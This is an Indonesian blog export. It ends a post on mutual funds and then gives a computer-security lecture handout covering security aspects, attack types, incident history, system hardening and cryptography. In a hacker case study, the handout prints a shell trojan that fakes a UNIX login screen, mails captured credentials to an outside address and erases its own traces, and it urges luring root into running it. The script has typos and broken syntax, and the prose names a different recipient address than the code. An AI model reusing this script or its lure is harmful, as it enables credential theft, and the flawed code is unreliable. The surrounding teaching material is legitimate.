Reksa Dana adalah wadah yang dipergunakan untuk menghimpun dana dari masyarakat pemodal untuk selanjutnya diinvestasikan dalam portofolio efek oleh manajer investasi.<o:p></o:p></span></span></p><p style="margin-left: 0.25in;"><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);"><st1:place st="on"><st1:city st="on">Ada</st1:city></st1:place> tiga hal yang terkait dari definisi tersebut yaitu, Pertama, adanya dana dari masyarakat pemodal. Kedua, dana tersebut diinvestasikan dalam portofolio efek, dan Ketiga, dana tersebut dikelola oleh manajer investasi.<br />Dengan demikian, dana yang ada dalam Reksa Dana merupakan dana bersama para pemodal, sedangkan manajer investasi adalah pihak yang dipercaya untuk mengelola dana tersebut. <o:p></o:p></span></span></p><p style="margin-left: 0.25in; text-indent: -18.75pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><b><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">6.<span style="font: 7px 'Times New Roman';"> </span></span></span></b><!--[endif]--><b><span style="font-family: 'Trebuchet MS';">Manfaat & Keuntungan Investasi Reksadana<o:p></o:p></span></b></span></p><p style="margin-left: 0.25in;"><span style="color: rgb(255, 255, 255);"><span style="font-family: 'Trebuchet MS';">Manfaat yang diperoleh pemodal jika melakukan investasi dalam Reksa Dana, antara lain:<br /></span><span style="font-family: 'Trebuchet MS';">Pertama,</span></span><span style="color: rgb(255, 255, 255);"><span style=""> pemodal walaupun tidak memiliki dana yang cukup besar dapat melakukan diversifikasi investasi dalam Efek, sehingga dapat memperkecil risiko. Sebagai contoh, seorang pemodal dengan dana terbatas dapat memiliki portfolio obligasi, yang tidak mungkin dilakukan jika tidak tidak memiliki dana besar. Dengan Reksa Dana, maka akan terkumpul dana dalam jumlah yang besar sehingga akan memudahkan diversifikasi baik untuk instrumen di pasar modal maupun pasar uang, artinya investasi dilakukan pada berbagai jenis instrumen seperti deposito, saham, obligasi.<br /></span><span style="font-family: 'Trebuchet MS';">Kedua,</span></span><span style="color: rgb(255, 255, 255);"><span style=""> Reksa Dana mempermudah pemodal untuk melakukan investasi di pasar modal. Menentukan saham-saham yang baik untuk dibeli bukanlah pekerjaan yang mudah, namun memerlukan pengetahuan dan keahlian tersendiri, dimana tidak semua pemodal memiliki pengetahuan tersebut.<br /></span><span style="font-family: 'Trebuchet MS';">Ketiga,</span><span style="font-family: 'Trebuchet MS';"> Efisiensi waktu. Dengan melakukan investasi pada Reksa Dana dimana dana tersebut dikelola oleh manajer investasi profesional, maka pemodal tidak perlu repot-repot untuk memantau kinerja investasinya karena hal tersebut telah dialihkan kepada manajer investasi tersebut.<o:p></o:p></span></span></p><p style="margin-left: 0.25in; text-indent: -17.85pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><b><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">8.<span style="font: 7px 'Times New Roman';"> </span></span></span></b><!--[endif]--><b><span style="font-family: 'Trebuchet MS';">Resiko Reksadana</span></b></span><span style="font-family: 'Trebuchet MS'; color: rgb(255, 255, 255);"><br />Seperti halnya wahana investasi lainnya, disamping mendatangkan berbagai peluang keuntungan, Reksa Dana pun mengandung berbagai peluang risiko, antara lain: </span><b><span style="font-family: 'Trebuchet MS';"><o:p></o:p></span></b></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -17.85pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--></span><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Risiko Berkurangnya Nilai Unit Penyertaan.<br />Risiko ini dipengaruhi oleh turunnya harga dari Efek (saham, obligasi, dan <st1:place st="on"><st1:city st="on">surat</st1:city></st1:place> berharga lainnya) yang masuk dalam portfolio Reksa Dana tersebut.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -17.85pt;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--></span><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Risiko Likuiditas<br />Risiko ini menyangkut kesulitan yang dihadapi oleh Manajer Investasi jika sebagian besar pemegang unit melakukan penjualan kembali (redemption) atas unit-unit yang dipegangnya. Manajer Investasi kesulitan dalam menyediakan uang tunai atas redemption tersebut.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: Wingdings;"><span style="font-size: 0pt;">§<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--></span><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Risiko Wanprestasi<br />Risiko ini merupakan risiko terburuk, dimana risiko ini dapat timbul ketika perusahaan asuransi yang mengasuransikan kekayaan Reksa Dana tidak segera membayar ganti rugi atau membayar lebih rendah dari nilai pertanggungan saat terjadi hal-hal yang tidak diinginkan, seperti wanprestasi dari pihak-pihak yang terkait dengan Reksa Dana, pialang, bank kustodian, agen pembayaran, atau bencana alam, yang dapat menyebabkan penurunan NAB (Nilai Aktiva Bersih) Reksa Dana.<o:p></o:p></span></span></p><p style="margin-left: 0.25in;"><span style="font-family: 'Trebuchet MS';"></span><b><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Dilihat dari portfolio investasinya, Reksa Dana dapat dibedakan menjadi:<o:p></o:p></span></span></b></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">1.<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><i><span style="font-family: 'Trebuchet MS';">Reksa Dana Pasar Uang</span></i><span style="font-family: 'Trebuchet MS';"> (Moner Market Funds). Reksa Dana jenis ini hanya melakukan investasi pada Efek bersifat Utang dengan jatuh tempo kurang dari 1 (satu) tahun. Tujuannya adalah untuk menjaga likuiditas dan pemeliharaan modal.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">2.<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><i><span style="font-family: 'Trebuchet MS';">Reksa Dana Pendapatan Tetap </span></i><span style="font-family: 'Trebuchet MS';">(Fixed Income Funds). Reksa Dana jenis ini melakukan investasi sekurang-kurangnya 80% dari aktivanya dalam bentuk Efek bersifat Utang. Reksa Dana ini memiliki risiko yang relatif lebih besar dari Reksa Dana Pasar Uang. Tujuannya adalah untuk menghasilkan tingkat pengembalian yang stabil.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">3.<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><i><span style="font-family: 'Trebuchet MS';">Reksa Dana Saham</span></i><span style="font-family: 'Trebuchet MS';"> (Equity Funds). Reksa dana yang melakukan investasi sekurang-kurangnya 80% dari aktivanya dalam bentuk Efek bersifat Ekuitas. Karena investasinya dilakukan pada saham, maka risikonya lebih tinggi dari dua jenis Reksa Dana sebelumnya namun menghasilkan tingkat pengembalian yang tinggi.<o:p></o:p></span></span></p><p class="MsoNormal" style="margin-left: 0.5in; text-indent: -0.25in;"><span style="color: rgb(255, 255, 255);"><!--[if !supportLists]--><span style="font-family: 'Trebuchet MS';"><span style="font-size: 0pt;">4.<span style="font: 7px 'Times New Roman';"> </span></span></span><!--[endif]--><i><span style="font-family: 'Trebuchet MS';">Reksa Dana Campuran</span></i><span style="font-family: 'Trebuchet MS';"> (Discretionary Funds). Reksa Dana jenis ini melakukan investasi dalam Efek bersifat Ekuitas dan Efek bersifat Utang.<o:p></o:p></span></span></p><b><i><span style="font-family: 'Trebuchet MS';"><span style="color: rgb(255, 255, 255);">Sumber : Indonesian Stock Exchange.</span></span></i></b>jojo fchttp://www.blogger.com/profile/00228544725655555185noreply@blogger.com0tag:blogger.com,1999:blog-1577612414313430482.post-84872370024119881632010-04-27T03:52:00.000-07:002010-04-27T03:53:14.862-07:00DIKTAT KULIAH KEAMANAN KOMPUTERPENDAHULUAN<br /><br />Modal dasar :<br />• Mengetahui Bahasa Pemrograman<br />• Menguasai pengetahuan perangkat keras dan perangkat lunak pengontrolnya (logika interfacing).<br />• Menguasai pengelolaan instalasi komputer.<br />• Menguasai dengan baik teori jaringan komputer ; protokol, infrastruktur, media komunikasi.<br />• Memahami cara kerja system operasi.<br />• Memiliki ‘pikiran jahat’ ;-p<br /><br />Cara belajar :<br />• Cari buku-buku mengenai keamanan komputer cetakan, e-book, majalah-majalah/tabloid komputer edisi cetak maupun edisi online.<br />• Akses ke situs-situs review keamanan (contoh: www.cert.org ), situs-situs underground (silahkan cari via search engine).<br />• Pelajari review atau manual book perangkat keras dan perangkat lunak untuk memahami cara kerja dengan baik.<br /><br />Keamanan Komputer Mengapa dibutuhkan ?<br /><br />• “information-based society”, menyebabkan nilai informasi menjadi sangat penting dan menuntut kemampuan untuk mengakses dan menyediakan informasi secara cepat dan akurat menjadi sangat esensial bagi sebuah organisasi,<br /><br />• Infrastruktur Jaringan komputer, seperti LAN dan Internet, memungkinkan untuk menyediakan informasi secara cepat, sekaligus membuka potensi adanya lubang keamanan (security hole)<br /><br />Kejahatan Komputer semakin meningkat karena :<br />• Aplikasi bisnis berbasis TI dan jaringan komputer meningkat : online banking, e-commerce, Electronic data Interchange (EDI).<br />• Desentralisasi server.<br />• Transisi dari single vendor ke multi vendor.<br />• Meningkatnya kemampuan pemakai (user).<br />• Kesulitan penegak hokum dan belum adanya ketentuan yang pasti.<br />• Semakin kompleksnya system yang digunakan, semakin besarnya source code program yang digunakan.<br />• Berhubungan dengan internet.<br /><br />Klasifikasi kejahatan Komputer :<br /><br /><br /><br /> <br /><br /><br />Menurut David Icove [John D. Howard, “An Analysis Of Security Incidents On The Internet 1989 - 1995,” PhD thesis, Engineering and Public Policy, Carnegie Mellon University, 1997.] berdasarkan lubang keamanan, keamanan dapat<br />diklasifikasikan menjadi empat, yaitu:<br />1. Keamanan yang bersifat fisik (physical security): termasuk akses orang ke gedung, peralatan, dan media yang digunakan. Contoh :<br />• Wiretapping atau hal-hal yang ber-hubungan dengan akses ke kabel atau komputer yang digunakan juga dapat dimasukkan ke dalam kelas ini.<br />• Denial of service, dilakukan misalnya dengan mematikan peralatan atau membanjiri saluran komunikasi dengan pesan-pesan (yang dapat berisi apa saja karena yang diuta-makan adalah banyaknya jumlah pesan).<br />• Syn Flood Attack, dimana sistem (host) yang dituju dibanjiri oleh permintaan sehingga dia menjadi ter-lalu sibuk dan bahkan dapat berakibat macetnya sistem (hang).<br />2. Keamanan yang berhubungan dengan orang (personel), Contoh :<br />• Identifikasi user (username dan password)<br />• Profil resiko dari orang yang mempunyai akses (pemakai dan pengelola).<br /><br />3. Keamanan dari data dan media serta teknik komunikasi (communications).<br />4. Keamanan dalam operasi: Adanya prosedur yang digunakan untuk mengatur dan mengelola sistem keamanan, dan juga ter-masuk prosedur setelah serangan (post attack recovery).<br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br /><br />ASPEK KEAMANAN KOMPUTER :<br />Menurut Garfinkel [Simson Garfinkel, “PGP: Pretty Good Privacy,” O’Reilly & Associ-ates, Inc., 1995. ]<br /><br />1. Privacy / Confidentiality <br />• Defenisi : menjaga informasi dari orang yang tidak berhak mengakses.<br />• Privacy : lebih kearah data-data yang sifatnya privat , Contoh : e-mail seorang pemakai (user) tidak boleh dibaca oleh administrator.<br />• Confidentiality : berhubungan dengan data yang diberikan ke pihak lain untuk keperluan tertentu dan hanya diperbolehkan untuk keperluan tertentu tersebut.<br />• Contoh : data-data yang sifatnya pribadi (seperti nama, tempat tanggal lahir, social security number, agama, status perkawinan, penyakit yang pernah diderita, nomor kartu kredit, dan sebagainya) harus dapat diproteksi dalam penggunaan dan penyebarannya.<br />• Bentuk Serangan : usaha penyadapan (dengan program sniffer).<br />• Usaha-usaha yang dapat dilakukan untuk meningkatkan privacy dan confidentiality adalah dengan menggunakan teknologi kriptografi.<br /><br />Integrity<br />• Defenisi : informasi tidak boleh diubah tanpa seijin pemilik informasi.<br />• Contoh : e-mail di intercept di tengah jalan, diubah isinya, kemudian diteruskan ke alamat yang dituju.<br />• Bentuk serangan : Adanya virus, trojan horse, atau pemakai lain yang mengubah informasi tanpa ijin, “man in the middle attack” dimana seseorang menempatkan diri di tengah pembicaraan dan menyamar sebagai orang lain.<br /><br />Authentication<br />• Defenisi : metoda untuk menyatakan bahwa informasi betul-betul asli, atau orang yang mengakses atau memberikan informasi adalah betul-betul orang yang dimaksud.<br />• Dukungan :<br />• Adanya Tools membuktikan keaslian dokumen, dapat dilakukan dengan teknologi watermarking(untuk menjaga “intellectual property”, yaitu dengan menandai dokumen atau hasil karya dengan “tanda tangan” pembuat ) dan digital signature.<br />• Access control, yaitu berkaitan dengan pembatasan orang yang dapat mengakses informasi. User harus menggunakan password, biometric (ciri-ciri khas orang), dan sejenisnya.<br /><br />Availability<br />• Defenisi : berhubungan dengan ketersediaan informasi ketika dibutuhkan.<br />• Contoh hambatan :<br />• “denial of service attack” (DoS attack), dimana server dikirimi permintaan (biasanya palsu) yang bertubi-tubi atau permintaan yang diluar perkiraan sehingga tidak dapat melayani permintaan lain atau bahkan sampai down, hang, crash.<br />• mailbomb, dimana seorang pemakai dikirimi e-mail bertubi-tubi (katakan ribuan e-mail) dengan ukuran yang besar sehingga sang pemakai tidak dapat membuka e-mailnya atau kesulitan mengakses e-mailnya.<br /><br />Access Control<br />• Defenisi : cara pengaturan akses kepada informasi. berhubungan dengan masalah<br />• authentication dan juga privacy<br />• Metode : menggunakan kombinasi userid/password atau dengan<br />• menggunakan mekanisme lain.<br /><br />Non-repudiation<br />• Defenisi : Aspek ini menjaga agar seseorang tidak dapat menyangkal telah melakukan sebuah transaksi. Dukungan bagi electronic commerce.<br /><br /><br />SECURITY ATTACK MODELS<br /><br />Menurut W. Stallings [William Stallings, “Network and Internetwork Security,” Prentice<br />Hall, 1995.] serangan (attack) terdiri dari :<br /><br />• Interruption: Perangkat sistem menjadi rusak atau tidak tersedia. Serangan ditujukan kepada ketersediaan (availability) dari sistem. Contoh serangan adalah “denial of service attack”.<br /><br />• Interception: Pihak yang tidak berwenang berhasil mengakses asset atau informasi. Contoh dari serangan ini adalah penyadapan (wiretapping).<br /><br />• Modification: Pihak yang tidak berwenang tidak saja berhasil mengakses, akan tetapi dapat juga mengubah (tamper) aset. Contoh dari serangan ini antara lain adalah mengubah isi dari web site dengan pesan-pesan yang merugikan pemilik web site.<br /><br />• Fabrication: Pihak yang tidak berwenang menyisipkan objek palsu ke dalam sistem. Contoh dari serangan jenis ini adalah memasukkan pesan-pesan palsu seperti e-mail palsu ke dalam jaringan komputer.<br /><br /><br /><br /><br /><br /><br />SECURITY BREACH ACCIDENT<br /><br />1996 U.S. Federal Computer Incident Response Capability (FedCIRC) melaporkan bahwa lebih dari 2500 “insiden” di system komputer atau jaringan komputer yang disebabkan oleh gagalnya sistem keamanan atau adanya usaha untuk membobol sistem keamanan<br />1996 FBI National Computer Crimes Squad, Washington D.C., memperkirakan kejahatan komputer yang terdeteksi kurang dari 15%, dan hanya 10% dari angka itu yang dilaporkan<br />1997 Penelitian Deloitte Touch Tohmatsu menunjukkan bahwa dari 300 perusahaan di Australia, 37% (dua diantara lima) pernah mengalami masalah keamanan sistem komputernya.<br />1996 Inggris, NCC Information Security Breaches Survey menunjukkan bahwa kejahatan komputer menaik 200% dari tahun 1995 ke 1996. Kerugian rata-rata US $30.000 / insiden.<br />1998 FBI melaporkan bahwa kasus persidangan yang berhubungan<br />dengan kejahatan komputer meroket 950% dari tahun 1996 ke<br />tahun 1997, dengan penangkapan dari 4 ke 42, dan terbukti<br />(convicted) di pengadilan naik 88% dari 16 ke 30 kasus.<br /> Dan lain-lain. Dapat dilihat di www.cert.org <br /><br /> <br />Contoh akibat dari jebolnya sistem keamanan, antara lain:<br /><br />1988 Keamanan sistem mail sendmail dieksploitasi oleh Robert<br />Tapan Morris sehingga melumpuhkan sistem Internet. Kegiatan<br />ini dapat diklasifikasikan sebagai “denial of service attack”.<br />Diperkirakan biaya yang digunakan untuk memperbaiki dan hal-hal lain yang hilang adalah sekitar $100 juta. Di tahun 1990 Morris<br />dihukum (convicted) dan hanya didenda $10.000.<br />10 Maret 1997 Seorang hacker dari Massachusetts berhasil mematikan sistem telekomunikasi di sebuah airport local (Worcester, Massachusetts) sehingga mematikan komunikasi di control tower dan menghalau pesawat yang hendak mendarat. <br />Dia juga mengacaukan sistem telepon di Rutland, Massachusetts.<br />http://www.news.com/News/Item/Textonly/0,25,20278,00.html?pfv<br /><br />1990 Kevin Poulsen mengambil alih system komputer telekomunikasi di Los Angeles untuk memenangkan kuis di sebuah radio local.<br />1995 Kevin Mitnick, mencuri 20.000 nomor kartu kredit, menyalin system operasi DEC secara illegal dan mengambil alih hubungan telpon di New York dan California.<br />1995 Vladimir Levin membobol bank-bank di kawasan Wallstreet, mengambil uang sebesar $10 juta.<br />2000 Fabian Clone menjebol situs aetna.co.id dan Jakarta mail dan membuat directory atas namanya berisi peringatan terhadap administrator situs tersebut.<br />2000 Beberapa web site Indonesia sudah dijebol dan daftarnya (beserta<br />contoh halaman yang sudah dijebol) dapat dilihat di koleksi<br /><http: com=""><br />2000 Wenas, membuat server sebuah ISP di singapura down<br /><br /><br /><br /><br /><br />MEMAHAMI HACKER BEKERJA<br /><br />Secara umum melalui tahapan-tahapan sebagai berikut :<br />1. Tahap mencari tahu system komputer sasaran.<br />2. Tahap penyusupan<br />3. Tahap penjelajahan<br />4. Tahap keluar dan menghilangkan jejak.<br /><br />Contoh kasus Trojan House, memanfaatkan SHELL script UNIX :<br />Seorang gadis cantik dan genit peserta kuliah UNIX di sebuah perguruan tinggi memiliki potensi memancing pengelola sistem komputer (administrator pemegang account root . . . hmmm) yang lengah. Ia melaporkan bahwa komputer tempat ia melakukan tugas-tugas UNIX yang diberikan tidak dapat dipergunakan. Sang pengelola sistem komputer tentu saja dengan gagah perkasa ingin menunjukkan kekuasaan sebagai administrator UNIX.<br />"Well, ini soal kecil. Mungkin password kamu ke blokir, biar saya perbaiki dari tempat kamu", ujar administrator UNIX sombong sambil duduk disebelah gadis cantik dan genit peserta kuliah tersebut.<br />Keesokan harinya, terjadilah kekacauan di sistem UNIX karena diduga terjadi penyusupan oleh hacker termasuk juga hompepage perguruan tinggi tersebut di-obok-obok, maklum pengelolanya masih sama. Selanjutnya pihak perguruan tinggi mengeluarkan press release bahwa homepage mereka dijebol oleh hacker dari Luar Negeri . . . . hihiii<br />Nah sebenarnya apa sih yang terjadi ?<br />Sederhana, gadis cantik dan genit peserta kuliah UNIX tersebut menggunakan program kecil my_login dalam bentuk shell script yang menyerupai layar login dan password sistem UNIX sebagai berikut:<br />#!/bin/sh<br />###################################<br /># Nama program : my_login<br /># Deskripsi :Program kuda trojan sederhana<br /># versi 1.0 Nopember 1999<br />####################################<br />COUNTER=0<br />Cat /etc/issue<br />While [ "$COUNTER" –ne 2 ]<br />do<br />let COUNTER=$COIUNTER+1<br />echo "login: \c"<br />read LOGIN<br />stty echo<br />echo "password: \c"<br />read PASSWORD<br />echo "User $LOGIN : $PASSWORD" | mail gadis@company.com<br />stty echo<br />echo<br />echo "Login Incorrect"<br />done<br />rm $0<br />kill –9 $PPID<br /><br />Apabila program ini dijalankan maka akan ditampilkan layar login seperti layaknya awal penggunaan komputer pdaa sistem UNIX:<br /><br />Login:<br />Password:<br /><br />Lihatlah, Administrator UNIX yang gagah perkasa tadi yang tidak melihat gadis tersebut menjalankan program ini tentunya tidak sadar bahwa ini merupakan layar tipuan. Layar login ini tidak terlihat beda dibanding layar login sesungguhnya.<br />Seperti pada program login sesungguhnya, sistem komputer akan meminta pemakai untuk login ke dalam sistem. Setelah diisi password dan di enter,maka segera timbul pesan<br /><br />Login:root<br />Password: ********<br />Login Incorrect<br /><br />Tentu saja Administrator UNIX akan kaget bahwa passwordnya ternyata (seolah-olah) salah. Untuk itu ia segera mengulangi login dan password. Setelah dua kali ia mencoba login dan tidak berhasil, maka loginnya dibatalkan dan kembali keluar UNIX.<br />Perhatikan program di atas baik-baik, sekali pemakai tersebut mencoba login dan mengisi password pada layar di atas, setelah itu maka otomatis data login dan password tersebut akan di email ke mailto:hacker@company.com. Sampai disini maka si gadis lugu dan genit telah mendapatkan login dan password . . . ia ternyata seorang hacker !!<br />Walaupun sederhana, jika kita perhatikan lebih jauh lagi, maka program ini juga memiliki beberapa trik hacker lainnya, yaitu proses penghilangan jejak (masih ingat tahapan hacker yang ditulis di atas ?). Proses ini dilakukan pada 2 baris terakhir dari program my_login di atas, yaitu<br /><br />rm $0<br />kill –9 $PPID<br /><br />yang artinya akan segera dilakukan proses penghapusan program my_login dan hapus pula ID dari proses. Dengan demikian hilanglah program tersebut yang tentunya juga menhilangkan barang bukti. Ditambah lagi penghapusan terhadap jejak proses di dalam sistem UNIX. Zap . . . hilang sudah tanda-tanda bahwa hacker nya ternyata seorang gadis peserta kuliahnya.<br /><br />Sukses dari program ini sebenarnya sangat tergantung dari bagaimana agar aplikasi ini dapat dieksekusi oleh root. Hacker yang baik memang harus berusaha memancing agar pemilik root menjalankan program ini.<br /><br /><br />PRINSIP DASAR PERANCANGAN SISTEM YANG AMAN<br /><br />1. Mencegah hilangnya data<br />2. Mencegah masuknya penyusup<br /><br /><br />LAPISAN KEAMANAN :<br /><br />1. Lapisan Fisik :<br />• membatasi akses fisik ke mesin :<br />o Akses masuk ke ruangan komputer<br />o penguncian komputer secara hardware<br />o keamanan BIOS<br />o keamanan Bootloader<br />• back-up data :<br />o pemilihan piranti back-up<br />o penjadwalan back-up<br />• mendeteksi gangguan fisik :<br />• log file : Log pendek atau tidak lengkap, Log yang berisikan waktu yang aneh, Log dengan permisi atau kepemilikan yang tidak tepat, Catatan pelayanan reboot atau restart, Log yang hilang, masukan su atau login dari tempat yang janggal<br />• mengontrol akses sumber daya.<br /><br />2. Keamanan lokal<br />Berkaitan dengan user dan hak-haknya :<br />• Beri mereka fasilitas minimal yang diperlukan.<br />• Hati-hati terhadap saat/dari mana mereka login, atau tempat seharusnya mereka login.<br />• Pastikan dan hapus rekening mereka ketika mereka tidak lagi membutuhkan akses.<br /><br />3. Keamanan Root<br />• Ketika melakukan perintah yang kompleks, cobalah dalam cara yang tidak merusak dulu, terutama perintah yang menggunakan globbing: contoh, anda ingin melakukan "rm foo*.bak", pertama coba dulu: "ls foo*.bak" dan pastikan anda ingin menghapus file-file yang anda pikirkan.<br />• Beberapa orang merasa terbantu ketika melakukan "touch /-i" pada sistem mereka. Hal ini akan membuat perintah-perintah seperti : "rm -fr *" menanyakan apakah anda benar-benar ingin menghapus seluruh file. (Shell anda menguraikan "-i" dulu, dan memberlakukannya sebagai option -i ke rm).<br />• Hanya menjadi root ketika melakukan tugas tunggal tertentu. Jika anda berusaha mengetahui bagaimana melakukan sesuatu, kembali ke shell pemakai normal hingga anda yakin apa yang perlu dilakukan oleh root.<br />• Jalur perintah untuk pemakai root sangat penting. Jalur perintah, atau variabel lingkungan PATH mendefinisikan lokal yang dicari shell untuk program. Cobalah dan batasi jalur perintah bagi pemakai root sedapat mungkin, dan jangan pernah menggunakan '.', yang berarti 'direktori saat ini', dalam pernyataan PATH anda. Sebagai tambahan, jangan pernah menaruh direktori yang dapat ditulis pada jalur pencarian anda, karena hal ini memungkinkan penyerang memodifikasi atau menaruh file biner dalam jalur pencarian anda, yang memungkinkan mereka menjadi root ketika anda menjalankan perintah tersebut.<br />• Jangan pernah menggunakan seperangkat utilitas rlogin/rsh/rexec (disebut utilitas r) sebagai root. Mereka menjadi sasaran banyak serangan, dan sangat berbahaya bila dijalankan sebagai root. Jangan membuat file .rhosts untuk root.<br />• File /etc/securetty berisikan daftar terminal-terminal tempat root dapat login. Secara baku (pada RedHat Linux) diset hanya pada konsol virtual lokal (vty). Berhati-hatilah saat menambahkan yang lain ke file ini. Anda seharusnya login dari jarak jauh sebagai pemakai biasa dan kemudian 'su' jika anda butuh (mudah-mudahan melalui ssh atau saluran terenkripsi lain), sehingga tidak perlu untuk login secara langsung sebagai root.<br />• Selalu perlahan dan berhati-hati ketika menjadi root. Tindakan anda dapat mempengaruhi banyak hal. Pikir sebelum anda mengetik!<br /><br />4. Keamanan File dan system file<br />• Directory home user tidak boleh mengakses perintah mengubah system seperti partisi, perubahan device dan lain-lain.<br />• Lakukan setting limit system file.<br />• Atur akses dan permission file : read, writa, execute bagi user maupun group.<br />• Selalu cek program-program yang tidak dikenal<br /><br />5. Keamanan Password dan Enkripsi<br />• Hati-hati terhadap bruto force attack dengan membuat password yang baik.<br />• Selalu mengenkripsi file yang dipertukarkan.<br />• Lakukan pengamanan pada level tampilan, seperti screen saver.<br /><br />6. Keamanan Kernel<br />• selalu update kernel system operasi.<br />• Ikuti review bugs dan kekurang-kekurangan pada system operasi.<br /><br />7. Keamanan Jaringan<br />• Waspadai paket sniffer yang sering menyadap port Ethernet.<br />• Lakukan prosedur untuk mengecek integritas data<br />• Verifikasi informasi DNS<br />• Lindungi network file system<br />• Gunakan firewall untuk barrier antara jaringan privat dengan jaringan eksternal<br /><br /><br />KRIPTOGRAFI<br /><br />DEFENISI<br />Cryptography adalah suatu ilmu ataupun seni mengamankan pesan, dan dilakukan oleh cryptographer.<br />Cryptanalysis adalah suatu ilmu dan seni membuka (breaking) ciphertext dan orang yang melakukannya disebut cryptanalyst.<br /><br />ELEMEN<br /><br /><br /><br /><br />CRYPTOSYSTEM<br /><br />Cryptographic system atau cryptosystem adalah suatu fasilitas untuk mengkonversikan plaintext ke ciphertext dan sebaliknya. Dalam sistem ini, seperangkat parameter yang menentukan transformasi pencipheran tertentu disebut suatu set kunci. Proses enkripsi dan dekripsi diatur oleh satu atau beberapa kunci kriptografi.<br /><br />1. Kriptografi dapat memenuhi kebutuhan umum suatu transaksi:<br /><br />1. Kerahasiaan (confidentiality) dijamin dengan melakukan enkripsi (penyandian).<br />2. Keutuhan (integrity) atas data-data pembayaran dilakukan dengan fungsi hash satu arah.<br />3. Jaminan atas identitas dan keabsahan (authenticity) pihak-pihak yang melakukan transaksi dilakukan dengan menggunakan password atau sertifikat digital. Sedangkan keotentikan data transaksi dapat dilakukan dengan tanda tangan digital.<br />4. Transaksi dapat dijadikan barang bukti yang tidak bisa disangkal (non-repudiation) dengan memanfaatkan tanda tangan digital dan sertifikat digital.<br /><br /><br />2. Karakteristik cryptosytem yang baik sebagai berikut :<br /><br />1. Keamanan sistem terletak pada kerahasiaan kunci dan bukan pada kerahasiaan algoritma yang digunakan.<br />2. Cryptosystem yang baik memiliki ruang kunci (keyspace) yang besar.<br />3. Cryptosystem yang baik akan menghasilkan ciphertext yang terlihat acak dalam seluruh tes statistik yang dilakukan terhadapnya.<br />4. Cryptosystem yang baik mampu menahan seluruh serangan yang telah dikenal sebelumnya<br /><br />3. MACAM CRYPTOSYSTEM<br /><br />A. Symmetric Cryptosystem<br />Dalam symmetric cryptosystem ini, kunci yang digunakan untuk proses enkripsi dan dekripsi pada prinsipnya identik, tetapi satu buah kunci dapat pula diturunkan dari kunci yang lainnya. Kunci-kunci ini harus dirahasiakan. Oleh karena itulah sistem ini sering disebut sebagai secret-key ciphersystem. Jumlah kunci yang dibutuhkan umumnya adalah :<br /><br />nC2 = n . (n-1)<br /> --------<br /> 2<br />dengan n menyatakan banyaknya pengguna.<br />Contoh dari sistem ini adalah Data Encryption Standard (DES), Blowfish, IDEA.<br /><br />B. Assymmetric Cryptosystem<br />Dalam assymmetric cryptosystem ini digunakan dua buah kunci. Satu kunci yang disebut kunci publik (public key) dapat dipublikasikan, sedang kunci yang lain yang disebut kunci privat (private key) harus dirahasiakan. Proses menggunakan sistem ini dapat diterangkan secara sederhana sebagai berikut : bila A ingin mengirimkan pesan kepada B, A dapat menyandikan pesannya dengan menggunakan kunci publik B, dan bila B ingin membaca surat tersebut, ia perlu mendekripsikan surat itu dengan kunci privatnya. Dengan demikian kedua belah pihak dapat menjamin asal surat serta keaslian surat tersebut, karena adanya mekanisme ini. Contoh sistem ini antara lain RSA Scheme dan Merkle-Hellman Scheme.<br /><br /><br />4. PROTOKOL CRYPTOSYSTEM<br /><br />Cryptographic protocol adalah suatu protokol yang menggunakan kriptografi. Protokol ini melibatkan sejumlah algoritma kriptografi, namun secara umum tujuan protokol lebih dari sekedar kerahasiaan. Pihak-pihak yang berpartisipasi mungkin saja ingin membagi sebagian rahasianya untuk menghitung sebuah nilai, menghasilkan urutan random, atau pun menandatangani kontrak secara bersamaan.<br /><br />Penggunaan kriptografi dalam sebuah protokol terutama ditujukan untuk mencegah atau pun mendeteksi adanya eavesdropping dan cheating.<br /><br /><br />5. JENIS PENYERANGAN PADA PROTOKOL<br /><br />• Ciphertext-only attack. Dalam penyerangan ini, seorang cryptanalyst memiliki ciphertext dari sejumlah pesan yang seluruhnya telah dienkripsi menggunakan algoritma yang sama.<br 